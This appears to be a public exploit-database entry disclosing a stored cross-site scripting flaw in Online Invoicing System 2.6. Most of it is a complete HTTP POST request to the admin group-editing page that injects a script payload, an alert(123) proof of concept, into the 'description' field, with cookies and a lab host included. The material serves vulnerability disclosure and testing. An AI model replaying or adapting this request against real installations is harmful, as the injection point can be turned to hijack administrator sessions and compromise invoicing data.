Exploit for Online Invoicing System 2.6 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:155556
# Exploit Title: Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting  
# Date: 2019-11-29  
# Exploit Author: Cemal Cihad ÇİFTÇİ  
# Vendor Homepage: https://bigprof.com  
# Software Download Link : https://github.com/bigprof-software/online-invoicing-system  
# Software : Online Invoicing System  
# Version : 2.6  
# Vulernability Type : Cross-site Scripting  
# Vulenrability : Stored XSS  
  
# Stored XSS has been discovered in the Online Invoicing System created by bigprof/AppGini  
# editmembers section. Description parameter affected from this vulnerability.  
# payload: <script>alert(123);</script>  
  
# HTTP POST request  
POST /inovicing/app/admin/pageEditGroup.php HTTP/1.1  
Host: 10.10.10.160  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 464  
Origin: http://10.10.10.160  
Connection: close  
Referer: http://10.10.10.160/inovicing/app/admin/pageEditGroup.php?groupID=2  
Cookie: inventory=4eg101l42apiuvutr7vguma5ar; online_inovicing_system=vl8ml5or8sgdee9ep9lnhglk69  
Upgrade-Insecure-Requests: 1  
  
groupID=2&name=Admins&description=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&visitorSignup=0&invoices_insert=1&invoices_view=3&invoices_edit=3&invoices_delete=3&clients_insert=1&clients_view=3&clients_edit=3&clients_delete=3&item_prices_insert=1&item_prices_view=3&item_prices_edit=3&item_prices_delete=3&invoice_items_insert=1&invoice_items_view=3&invoice_items_edit=3&invoice_items_delete=3&items_insert=1&items_view=3&items_edit=3&items_delete=3&saveChanges=1